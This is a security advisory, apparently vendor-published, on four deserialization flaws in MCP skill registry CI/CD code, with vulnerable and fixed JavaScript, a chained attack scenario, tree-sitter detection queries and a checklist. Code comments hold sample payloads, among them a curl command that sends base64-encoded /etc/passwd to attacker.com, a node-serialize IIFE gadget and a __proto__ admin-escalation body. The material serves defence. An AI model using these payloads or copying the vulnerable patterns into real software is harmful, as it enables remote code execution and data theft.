Claude MCP skill insecure deserialization — CI/CD integration config and pipeline trigger endpoints

SA-SKL-DESER20 documents four insecure deserialization vulnerabilities in MCP skill registry CI/CD integration configuration and pipeline trigger endpoints. YAML.load with the default full schema processes attacker-controlled YAML stored in Redis, allowing !!js/function gadgets to achieve RCE at trigger filter evaluation time; node-serialize used for BullMQ job payloads allows IIFE gadgets to achieve RCE at dequeue time; BSON Code type stored in MongoDB environment variable records triggers eval() during build-time variable substitution; and Object.assign of untrusted pipeline callback JSON creates prototype pollution that elevates all subsequent role checks to truthy admin.

Critical DESER20-001 — CI integration config stored in Redis as YAML; YAML.load(value, {schema: DEFAULT_FULL_SCHEMA}) parses attacker-inserted !!js/function in trigger filter expressions achieving RCE at config evaluation time
Critical DESER20-002 — pipeline trigger event queue uses node-serialize for BullMQ job payloads; attacker with queue write access inserts IIFE gadget {"fn":"_$$ND_FUNC$$_function(){...}()"} achieving RCE when job is dequeued by worker
Critical DESER20-003 — CI environment variable set stored in MongoDB as BSON; BSON Code type at envValue field triggers eval() during build-time variable substitution; attacker with DB write access achieves RCE at next build trigger
High DESER20-004 — pipeline result callback JSON.parse(body) + Object.assign(req.pipelineResult, parsed); attacker-controlled callback response with __proto__.isAdmin:true pollutes Object.prototype; all subsequent role checks in same process return truthy admin

DESER20-001 (Critical): YAML.load with DEFAULT_FULL_SCHEMA enables RCE via !!js/function in cached CI config

MCP skill registries that integrate with CI/CD pipelines often allow operators to configure trigger filter expressions — rules that determine which pipeline events should trigger an audit scan. These configurations are frequently stored in Redis for fast retrieval during event processing. When the configuration value is stored as a YAML string and loaded using yaml.load(value) or yaml.load(value, { schema: yaml.DEFAULT_FULL_SCHEMA }), the js-yaml library's !!js/function tag is available. This tag causes the YAML parser to construct a JavaScript function object from the tag value, which is immediately callable.

An attacker who can write to the Redis cache — via a Redis injection vulnerability, compromised infrastructure access, or an SSRF attack that reaches the Redis instance — can replace a legitimate CI config entry with a payload containing !!js/function. The next time the CI integration processor reads and evaluates this config, the malicious function is instantiated and can execute arbitrary commands, exfiltrate credentials, or establish persistent access. The attack is particularly dangerous because CI/CD config processing typically runs in a privileged service account context with broad infrastructure access. CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

// VULNERABLE — CI integration config loaded from Redis with DEFAULT_FULL_SCHEMA
// File: services/ci-integration.js

const yaml = require('js-yaml');
const redis = require('./redis');

async function loadCiConfig(integrationId) {
  const cached = await redis.get(`ci:config:${integrationId}`);
  if (!cached) return null;

  // VULNERABILITY: DEFAULT_FULL_SCHEMA (the default) includes !!js/function tag
  // An attacker who can write to Redis can inject:
  //   triggerFilter: !!js/function "function() { require('child_process').execSync('curl attacker.com/$(cat /etc/passwd | base64)'); }"
  // The function object is returned as config.triggerFilter and called during trigger evaluation
  const config = yaml.load(cached);
  return config;
}

async function evaluateTrigger(integrationId, event) {
  const config = await loadCiConfig(integrationId);
  if (!config) return false;

  // triggerFilter is called here — if it's the malicious function, RCE occurs
  if (typeof config.triggerFilter === 'function') {
    return config.triggerFilter(event);  // RCE if attacker-controlled
  }
  return config.triggerFilter === event.type;
}

Fix: Replace yaml.load() with yaml.load(value, { schema: yaml.FAILSAFE_SCHEMA }) or use yaml.safeLoad() (deprecated alias) on older js-yaml versions. FAILSAFE_SCHEMA supports only strings, sequences, and mappings — it cannot construct JavaScript objects, functions, or regexes. Better yet, store CI configurations as JSON: JSON.parse has no equivalent of !!js/function. Validate the parsed object against a Zod schema before use to prevent type-confusion attacks even with safe parsing.

// FIXED — FAILSAFE_SCHEMA prevents !!js/function; Zod validates structure
// File: services/ci-integration.js

const yaml = require('js-yaml');
const { z } = require('zod');

const CiConfigSchema = z.object({
  triggerFilter: z.string().regex(/^[a-z_:*]+$/),  // only event type patterns
  scanProfile: z.enum(['quick', 'full', 'dependency-only']),
  notifyOnSeverity: z.enum(['low', 'medium', 'high', 'critical']),
  maxConcurrentScans: z.number().int().min(1).max(10).optional(),
});

async function loadCiConfig(integrationId) {
  const cached = await redis.get(`ci:config:${integrationId}`);
  if (!cached) return null;

  // FAILSAFE_SCHEMA: strings, sequences, mappings only — no !!js/function tag
  const raw = yaml.load(cached, { schema: yaml.FAILSAFE_SCHEMA });

  // Zod validation rejects unexpected fields and type-confused values
  const result = CiConfigSchema.safeParse(raw);
  if (!result.success) {
    console.error(`Invalid CI config for ${integrationId}:`, result.error.issues);
    return null;
  }
  return result.data;
}

async function evaluateTrigger(integrationId, event) {
  const config = await loadCiConfig(integrationId);
  if (!config) return false;

  // triggerFilter is now guaranteed to be a plain string pattern — no function call
  return config.triggerFilter === '*' || config.triggerFilter === event.type;
}

DESER20-002 (Critical): node-serialize IIFE gadget in BullMQ queue achieves RCE at worker dequeue

BullMQ uses Redis as its job queue storage backend. When job payload objects are serialized to Redis using node-serialize rather than JSON.stringify, the queue inherits node-serialize's IIFE (Immediately Invoked Function Expression) gadget vulnerability. The node-serialize library encodes functions by prefixing them with the sentinel string _$$ND_FUNC$$_. When deserialize() is called on a payload containing this prefix, the function body is passed to eval(). By appending () after the closing brace, the function becomes immediately invoked — classic IIFE RCE.

An attacker with write access to the BullMQ Redis instance — which may be achievable via SSRF, Redis injection in another endpoint, or lateral movement from a compromised service — can insert a crafted job payload directly into the queue. When a worker process calls deserialize(job.data) during job processing, the IIFE executes with the full privileges of the worker process. CI/CD pipeline trigger workers typically have access to secrets needed to call pipeline APIs, container registry credentials, and infrastructure tokens — making them high-value RCE targets. CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

// VULNERABLE — BullMQ job payload serialized/deserialized with node-serialize
// File: workers/pipeline-trigger-worker.js

const serialize = require('node-serialize');
const { Queue, Worker } = require('bullmq');

// Producer: serializes job data with node-serialize
const pipelineQueue = new Queue('pipeline-triggers', { connection: redis });

async function enqueuePipelineTrigger(payload) {
  // VULNERABILITY: node-serialize instead of JSON.stringify
  // If attacker inserts directly into Redis: {"fn":"_$$ND_FUNC$$_function(){require('child_process').execSync('id > /tmp/pwn')}()"}
  const serialized = serialize.serialize(payload);
  await pipelineQueue.add('trigger', { data: serialized });
}

// Worker: deserializes job payload with node-serialize — RCE here
const worker = new Worker('pipeline-triggers', async (job) => {
  // VULNERABILITY: deserialize() calls eval() on _$$ND_FUNC$$_ prefixed values
  const payload = serialize.deserialize(job.data.data);
  await triggerCiPipeline(payload.pipelineId, payload.event);
}, { connection: redis });

Fix: Never use node-serialize for queue job payloads. Use JSON.stringify and JSON.parse — BullMQ already handles serialization of job data internally as JSON. Apply a Zod schema when reading job data to validate the structure before use. If job data must be encrypted for confidentiality, encrypt the JSON string rather than using an unsafe serialization format. Audit all existing workers for require('node-serialize') imports and replace them systematically.

// FIXED — JSON serialization; Zod schema validation at worker dequeue
// File: workers/pipeline-trigger-worker.js

const { z } = require('zod');
const { Queue, Worker } = require('bullmq');

const PipelineTriggerSchema = z.object({
  pipelineId: z.string().uuid(),
  event: z.object({
    type: z.string().max(64),
    ref: z.string().max(256).optional(),
    commit: z.string().regex(/^[a-f0-9]{40}$/).optional(),
  }),
  triggeredAt: z.string().datetime(),
});

const pipelineQueue = new Queue('pipeline-triggers', { connection: redis });

async function enqueuePipelineTrigger(payload) {
  // BullMQ natively uses JSON — pass plain object directly
  await pipelineQueue.add('trigger', payload);
}

const worker = new Worker('pipeline-triggers', async (job) => {
  // Validate job data structure before use — Zod rejects unexpected shapes
  const result = PipelineTriggerSchema.safeParse(job.data);
  if (!result.success) {
    console.error('Invalid pipeline trigger job:', result.error.issues);
    return;  // discard malformed job; don't throw (would cause retry loops)
  }
  const payload = result.data;
  await triggerCiPipeline(payload.pipelineId, payload.event);
}, { connection: redis });

DESER20-003 (Critical): BSON Code type in MongoDB env var document triggers eval during build-time substitution

MCP skill registries that manage CI/CD environment variable sets store these in MongoDB to support dynamic variable substitution during builds. MongoDB's BSON wire format includes a Code type (BSON type 0x0D) that represents a JavaScript function. When the MongoDB driver reads a document containing a Code-typed field and the application subsequently calls .toString() or uses the value in a JavaScript eval() context — as may happen during template literal variable substitution — the Code object's source string is executed.

An attacker who can write arbitrary BSON to MongoDB — via a MongoDB injection in another endpoint, a compromised service account, or an SSRF attack reaching the MongoDB wire protocol — can insert an environment variable document where the envValue field is a BSON Code object. The next time a build trigger reads this environment variable set and evaluates the envValue during variable substitution, the Code source executes with the build worker's privileges. Build workers commonly have access to production secrets (API keys, registry credentials, deployment tokens) needed to publish MCP skill artifacts. CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

// VULNERABLE — env var value from MongoDB used in eval()-adjacent substitution
// File: services/build-env.js

const { MongoClient } = require('mongodb');

async function resolveEnvVars(teamId, buildContext) {
  const col = db.collection('env_var_sets');
  const doc = await col.findOne({ teamId, active: true });
  if (!doc) return {};

  const resolved = {};
  for (const [key, envVar] of Object.entries(doc.variables)) {
    // VULNERABILITY: envVar.value may be a BSON Code object if attacker wrote to MongoDB
    // .toString() on a BSON Code object returns the function source string
    // If subsequently used in eval() during template substitution, achieves RCE
    const rawValue = envVar.value;

    // Unsafe template substitution — if rawValue is a function, eval is triggered
    resolved[key] = Function('ctx', `return \`${rawValue}\``)(buildContext);
    //                                      ^-- RCE if rawValue is attacker BSON Code
  }
  return resolved;
}

Fix: Check the BSON type of each field before use: reject any document field whose JavaScript type is not a plain string, number, or boolean. The MongoDB Node.js driver exposes a bson.Code class — check with instanceof and reject. Store environment variable values as plain strings only; use a Zod schema to validate the entire document structure on read. Replace the Function() constructor-based template substitution with a safe template engine (e.g., Mustache or a whitelist-based string replace) that cannot execute code.

// FIXED — BSON type check rejects Code type; safe string substitution
// File: services/build-env.js

const bson = require('bson');
const { z } = require('zod');

const EnvVarSchema = z.object({
  teamId: z.string(),
  active: z.boolean(),
  variables: z.record(z.object({
    value: z.string().max(4096),  // string only — rejects BSON Code on parse
    secret: z.boolean().optional(),
  })),
});

function safeSubstitute(template, ctx) {
  // Simple {{key}} substitution — no eval(), no Function() constructor
  return template.replace(/\{\{([^}]+)\}\}/g, (_, key) => {
    const val = ctx[key.trim()];
    return typeof val === 'string' ? val : '';
  });
}

async function resolveEnvVars(teamId, buildContext) {
  const col = db.collection('env_var_sets');
  const raw = await col.findOne({ teamId, active: true });
  if (!raw) return {};

  // Check for BSON Code type in any field before Zod parsing
  for (const [key, envVar] of Object.entries(raw.variables || {})) {
    if (envVar?.value instanceof bson.Code) {
      console.error(`BSON Code type detected in env var ${key} for team ${teamId} — rejecting document`);
      throw new Error('Invalid env var document: BSON Code type rejected');
    }
  }

  // Zod validates all fields as plain strings
  const result = EnvVarSchema.safeParse(raw);
  if (!result.success) {
    console.error('Invalid env var document:', result.error.issues);
    return {};
  }

  const resolved = {};
  for (const [key, envVar] of Object.entries(result.data.variables)) {
    resolved[key] = safeSubstitute(envVar.value, buildContext);
  }
  return resolved;
}

DESER20-004 (High): Object.assign prototype pollution from pipeline result callback response

MCP skill registries that integrate with CI/CD pipeline APIs often process callback responses from the pipeline system to store build results, update scan status, or trigger downstream notifications. When the application uses JSON.parse(callbackBody) followed by Object.assign(req.pipelineResult, parsedResponse) without filtering for prototype-polluting keys, an attacker who controls the callback response body can inject __proto__ keys that pollute Object.prototype.

JavaScript's Object.assign iterates the source object's enumerable own properties. When the source is a plain JSON.parse output — which produces objects where __proto__ is treated as a regular string key — assigning { "__proto__": { "isAdmin": true } } does not create an own property named __proto__; instead, it modifies Object.prototype.isAdmin. Every subsequent role check in the same process that reads user.isAdmin (or any object property isAdmin) will return true for all users, regardless of their actual role. This persists for the lifetime of the Node.js worker process, potentially affecting all requests handled by that process after the pollution event. CVSS 8.1 (AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N).

// VULNERABLE — Object.assign of JSON.parse'd pipeline callback enables prototype pollution
// File: routes/pipeline-callback.js

router.post('/pipeline-callback', async (req, res) => {
  const rawBody = req.body;  // already parsed as string from raw body middleware

  // VULNERABILITY: attacker-controlled external response merged into req.pipelineResult
  // Malicious callback body: {"__proto__":{"isAdmin":true,"role":"system_admin"}}
  // After Object.assign, all objects in this process have .isAdmin === true
  const parsed = JSON.parse(rawBody);
  req.pipelineResult = {};
  Object.assign(req.pipelineResult, parsed);  // prototype pollution here

  // Store result for later processing
  await db.query(
    'UPDATE pipeline_runs SET result = $1, completed_at = NOW() WHERE id = $2',
    [JSON.stringify(req.pipelineResult), parsed.pipelineRunId]
  );

  res.json({ received: true });
});

// Later, in middleware:
function requireAdmin(req, res, next) {
  // POLLUTED: req.user.isAdmin inherits from Object.prototype after the pollution
  if (!req.user.isAdmin) return res.status(403).json({ error: 'Forbidden' });
  next();
}

Fix: Use a null-prototype target for Object.assign: Object.assign(Object.create(null), parsed) creates a target with no prototype chain, so __proto__ is treated as a regular own property rather than a prototype mutation. Validate the parsed object against a Zod schema that only allows expected fields. Never use Object.assign with untrusted external data as the source. As an additional layer, audit all role check expressions to ensure they read from a trusted source (database query result, JWT claims, cached server-side value) rather than properties on plain objects where prototype pollution is possible.

// FIXED — null-prototype target; Zod schema; server-side role source
// File: routes/pipeline-callback.js

const { z } = require('zod');

const PipelineCallbackSchema = z.object({
  pipelineRunId: z.string().uuid(),
  status: z.enum(['success', 'failure', 'cancelled', 'skipped']),
  durationMs: z.number().int().min(0).max(86400000),
  exitCode: z.number().int().optional(),
  artifactUrl: z.string().url().optional(),
});

router.post('/pipeline-callback', async (req, res) => {
  let raw;
  try {
    // Parse to plain object first
    raw = JSON.parse(req.body);
  } catch {
    return res.status(400).json({ error: 'Invalid JSON' });
  }

  // Validate against strict schema — unknown keys rejected, __proto__ not in schema
  const result = PipelineCallbackSchema.safeParse(raw);
  if (!result.success) {
    return res.status(400).json({ error: 'Invalid callback payload' });
  }

  const payload = result.data;  // Zod strips unknown keys

  // null-prototype target prevents any prototype chain modification
  const pipelineResult = Object.assign(Object.create(null), payload);

  await db.query(
    'UPDATE pipeline_runs SET result = $1, completed_at = NOW() WHERE id = $2',
    [JSON.stringify(pipelineResult), pipelineResult.pipelineRunId]
  );

  res.json({ received: true });
});

Compound attack chain: CI config cache poisoning to process-wide privilege escalation

The four DESER20 vulnerabilities can be chained across different access vectors to achieve a cascade from limited cache write access to process-wide privilege escalation.

Phase 1 — SSRF to Redis (DESER20-001 / DESER20-002). An attacker who exploits an SSRF vulnerability in the registry (e.g., from a webhook URL validation bypass) sends requests to the internal Redis instance. They overwrite a CI integration config key with a YAML payload containing !!js/function, or insert a crafted job directly into the BullMQ queue with a node-serialize IIFE gadget.

Phase 2 — Build-time RCE (DESER20-001). The next CI event triggers a config reload. The malicious !!js/function executes in the CI integration processor, exfiltrating pipeline API credentials. With these credentials, the attacker can directly write to MongoDB using the CI service account.

Phase 3 — Persistent backdoor (DESER20-003). Using the stolen CI service account, the attacker writes a BSON Code-typed environment variable to MongoDB. This executes at every subsequent build trigger, providing persistent RCE even after the original SSRF is patched.

Phase 4 — Process-wide privilege escalation (DESER20-004). The attacker's CI callback URL returns a prototype-polluting JSON response. After the registry processes this callback, all role checks in the affected process return truthy admin for all users until the process is restarted.

Chain severity: This chain progresses from SSRF (exploitable without credentials) to persistent RCE on build infrastructure and process-wide privilege escalation, achieving full registry compromise. The persistence mechanism in Phase 3 survives credential rotation and config cache invalidation, requiring explicit database cleanup to remove.

Detection with tree-sitter queries

Query 1 — yaml.load() without FAILSAFE_SCHEMA. Matches yaml.load call expressions where the second argument is absent (uses dangerous default) or explicitly sets schema to anything other than FAILSAFE_SCHEMA.

; tree-sitter query: yaml.load() without FAILSAFE_SCHEMA (DESER20-001)

(call_expression
  function: (member_expression
    object: (identifier) @yaml (#match? @yaml "^(yaml|jsYaml|YAML)$")
    property: (property_identifier) @method (#eq? @method "load")
  )
  arguments: (arguments
    (_) @input
    ; If no second argument, also matches (arity 1)
  )
) @yaml-load-call

; Review each @yaml-load-call: does it pass {schema: yaml.FAILSAFE_SCHEMA}?
; If not, it is vulnerable to !!js/function RCE.

Query 2 — require('node-serialize') imports. Matches any require call for node-serialize — the library has no safe usage mode; every import is a finding.

; tree-sitter query: node-serialize import (DESER20-002)

(call_expression
  function: (identifier) @fn (#eq? @fn "require")
  arguments: (arguments
    (string) @pkg (#match? @pkg "node-serialize")
  )
) @node-serialize-import

; Each @node-serialize-import: immediate RCE risk.
; Replace all usages with JSON.parse + Zod schema validation.

Query 3 — Object.assign with JSON.parse source. Matches Object.assign(target, JSON.parse(...)) where the source is a direct JSON.parse call — the prototype pollution pattern of DESER20-004.

; tree-sitter query: Object.assign(target, JSON.parse(...)) prototype pollution (DESER20-004)

(call_expression
  function: (member_expression
    object: (identifier) @obj (#eq? @obj "Object")
    property: (property_identifier) @method (#eq? @method "assign")
  )
  arguments: (arguments
    (_) @target
    (call_expression
      function: (member_expression
        object: (identifier) @json (#eq? @json "JSON")
        property: (property_identifier) @parse (#eq? @parse "parse")
      )
    )
  )
) @assign-jsonparse-pollution

; Each @assign-jsonparse-pollution: potential prototype pollution.
; Fix: use null-prototype target; validate with Zod before assign.

Summary

ID Severity Surface Root cause Fix
DESER20-001 Critical Redis-cached CI integration config yaml.load() with DEFAULT_FULL_SCHEMA parses !!js/function tags achieving RCE at trigger evaluation yaml.load(val, {schema: yaml.FAILSAFE_SCHEMA}); store as JSON; Zod validation
DESER20-002 Critical BullMQ pipeline trigger queue node-serialize IIFE gadget achieves RCE at worker dequeue Remove node-serialize; use BullMQ native JSON serialization; Zod schema on dequeue
DESER20-003 Critical MongoDB env var set documents BSON Code type at envValue triggers eval() during build-time template substitution BSON Code type check; Zod string-only schema; safe {{key}} template engine
DESER20-004 High Pipeline result callback endpoint Object.assign(target, JSON.parse(body)); __proto__ key pollutes Object.prototype; all role checks return truthy admin Null-prototype target; Zod schema; read roles from DB not plain objects

Checklist for MCP skill registry operators: (1) Grep all files for yaml.load( — confirm every call passes {schema: yaml.FAILSAFE_SCHEMA} or uses yaml.safeLoad(). (2) Grep for require('node-serialize') or require("node-serialize") — zero occurrences is the target; every import is a critical finding. (3) Audit all MongoDB document reads for fields used in template substitution — confirm BSON Code type is explicitly rejected before Zod parsing. (4) Search for Object.assign( where the source includes JSON.parse( — replace with null-prototype targets and Zod validation. (5) Run the three tree-sitter queries above in CI. See also: SA-SKL-DESER19 for deserialization in audit export pipelines; SA-SKL-SSRF37 for SSRF pathways that can reach Redis or MongoDB.

Scan your MCP skills for DESER20 and 2400+ other patterns

SkillAudit continuously audits MCP server and Claude skill codebases for CORS misconfigurations, injection vulnerabilities, deserialization flaws, SSRF, and privilege escalation. Get findings in minutes.

Get started at skillaudit.dev